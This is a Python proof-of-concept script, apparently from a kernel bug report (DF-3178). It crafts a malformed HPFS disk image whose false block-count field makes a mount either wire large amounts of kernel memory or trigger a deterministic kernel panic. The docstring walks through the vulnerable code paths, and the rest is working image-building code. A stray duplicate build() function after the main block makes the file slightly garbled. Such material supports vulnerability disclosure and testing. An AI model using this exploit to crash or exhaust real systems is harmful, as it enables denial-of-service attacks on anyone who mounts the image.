DF-3178 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 | #!/usr/bin/env python3 """ DF-3178 — hpfs_mountfs() validates ONLY the super/spareblock magic numbers (sys/vfs/hpfs/hpfs_vfsops.c:282-291). Every other census field is consumed downstream with no bounds check: su_btotal -> hpfs_bminit (sys/vfs/hpfs/hpfs_subr.c:109-120) hpm_dbnum = (su_btotal + 0x3FFF) / 0x4000 bmind-list bread of ((dbnum + 0x7F) & ~0x7F) << 2 bytes hpmp->hpm_bitmap = kmalloc(hpm_dbnum * BMSIZE) # 2048 B/band hpmp->hpm_bmind = kmalloc(hpm_dbnum * 4) su_btotal -> hpfs_statfs f_blocks (vfsops.c:408) # 128 GiB lie Two regimes fall out of the single unvalidated field: wiring su_btotal = 0x0FFFC000 -> dbnum = 0x4000 bands. The bmind-list bread is exactly MAXBSIZE (64 KiB, passes getblk's limit), the mount SUCCEEDS wiring a 32 MiB hpm_bitmap + 64 KiB hpm_bmind, and statfs/df report 0x0FFFC000*512 = ~128 GiB of blocks on a 1.25 MiB image. Free per unmount, repeatable per mount. panic su_btotal = 0xFFFFC000 -> dbnum = 0x3FFFF bands (largest value that does not wrap the u32 addition; >= 0xFFFFC001 wraps and is DF-0862's undersize path). The bmind-list bread size becomes ((0x3FFFF+0x7F)&~0x7F)<<2 = 0x100000 (1 MiB) > MAXBSIZE (64 KiB) -> deterministic mount-time kernel panic: panic: getblk: size(1048576) > MAXBSIZE(65536) getblk -> breadnx -> hpfs_bminit -> hpfs_mount -> vfs_mount Threshold for this regime: su_btotal >= 0x10000001 (dbnum >= 0x4001; any volume claiming more than 0x10000000 sectors = 128 GiB on 512-byte sectors panics the mount). Image layout (LSNs, 512 B sectors), kernel amd64 struct offsets (same conventions as the DF-3141 pack): 0x010 superblock su_magic, su_rootfno=0x20, su_btotal=0xFFFFC000, su_bitmap.lsn1=lsn2=0x60 0x011 spareblock sp_magic, sp_cpinum=0 (cpinit no-op) 0x020 root fnode FN_MAGIC, VDIR, one alleaf -> dirblk 0x40 0x040 dirblk D_MAGIC, d_parent=0x20, d_self=0x40, one DE_END dirent (so dirent walks terminate; see DF-0927) 0x060 bmind list 2048 sectors (1 MiB) of u32 0x900 (bminit breads ((0x3FFFF+0x7F)&~0x7F)<<2 = 0x100000 bytes here) 0x900 band bitmap 2 KiB of 0x00 (all-busy; every bmind[i] points here) total 0xA00 sectors = 1,310,720 bytes (~1.25 MiB) usage: craft_img.py <out.img> """ import struct, sys SECTOR = 512 IMGSEC = 0xA00 # 1.25 MiB SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE D_MAGIC = 0x77E40AAE BMIND_LSN = 0x60 BITMAP_LSN = 0x900 FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11 FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \ 0x20, 0x3B, 0x3C, 0x44, 0xA4 AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6 def build(outpath, variant): su_btotal = {'wiring': 0x0FFFC000, 'panic': 0xFFFFC000}[variant] img = bytearray(IMGSEC * SECTOR) def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF) def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF) def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF) def wr8(o, v): img[o] = v & 0xFF img[0] = 0xEB wr16(SECTOR - 2, 0xAA55) # ---- superblock @0x10 ---- su = 0x10 * SECTOR wr64(su + 0, SU_MAGIC); wr8(su + 8, 2) wr32(su + 12, 0x20) # su_rootfno wr32(su + 16, su_btotal) # su_btotal <-- the lie wr32(su + 20, 0) # su_badbtotal wr32(su + 24, BMIND_LSN) # su_bitmap.lsn1 wr32(su + 28, BMIND_LSN) # su_bitmap.lsn2 # ---- spareblock @0x11: sp_cpinum = 0 -> cpinit no-op ---- wr64(0x11 * SECTOR, SP_MAGIC) # ---- root fnode @0x20 (VDIR, one leaf -> dirblk 0x40) ---- rf = 0x20 * SECTOR wr32(rf + FN_OFF_MAGIC, FN_MAGIC) wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.') wr32(rf + FN_OFF_PARENT, 0x20) wr8(rf + FN_OFF_FLAG, 1) # VDIR img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0 img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) wr32(rf + FN_OFF_ABD + 0, 0); wr32(rf + FN_OFF_ABD + 4, 1) wr32(rf + FN_OFF_ABD + 8, 0x40) wr32(rf + FN_OFF_SIZE, 2048) # ---- dirblk @0x40 ---- # d_freeoff=64, one 32-byte dirent carrying DE_END (0x0008) so every # dirent walk terminates (an all-zero dirent area has de_reclen=0 and # no DE_END -> hpfs_lookup livelocks -- that is DF-0927's bug, not # ours; we do not want to trip it in this demo). db = 0x40 * SECTOR wr32(db + 0, D_MAGIC) wr32(db + 4, 64) # d_freeoff wr32(db + 8, 0) # d_chcnt wr32(db + 12, 0x20) # d_parent wr32(db + 16, 0x40) # d_self wr16(db + 32 + 0, 32) # de_reclen wr16(db + 32 + 2, 0x0008) # de_flag = DE_END # ---- bmind list @0x60: 1 MiB of "band bitmap lives at 0x900" ---- # (more than any variant's bread needs; only the first # ((dbnum+0x7F)&~0x7F)<<2 bytes are read) off = BMIND_LSN * SECTOR for _ in range(0, 0x800): # 2048 sectors = 1 MiB struct.pack_into('<I', img, off, BITMAP_LSN) off += 4 # ---- band bitmap content @0x900: 2 KiB, all-zero (all busy) ---- # (already zero) with open(outpath, 'wb') as f: f.write(img) dbnum = (su_btotal + 0x3FFF) // 0x4000 print("wrote %s (%d bytes, %d sectors); variant=%s su_btotal=0x%X " "-> dbnum=0x%X bands -> bitmap=%d bytes (%.2f MiB), " "bmind-list bread=%d bytes" % (outpath, len(img), IMGSEC, variant, su_btotal, dbnum, dbnum * 2048, dbnum * 2048 / 1048576.0, ((dbnum + 0x7F) & ~0x7F) << 2)) if __name__ == '__main__': variant = sys.argv[2] if len(sys.argv) > 2 else 'wiring' build(sys.argv[1] if len(sys.argv) > 1 else 'df3178.img', variant) def build(outpath, variant): global SU_BTOTAL SU_BTOTAL = {'wiring': 0x0FFFC000, 'panic': 0xFFFFC000}[variant] |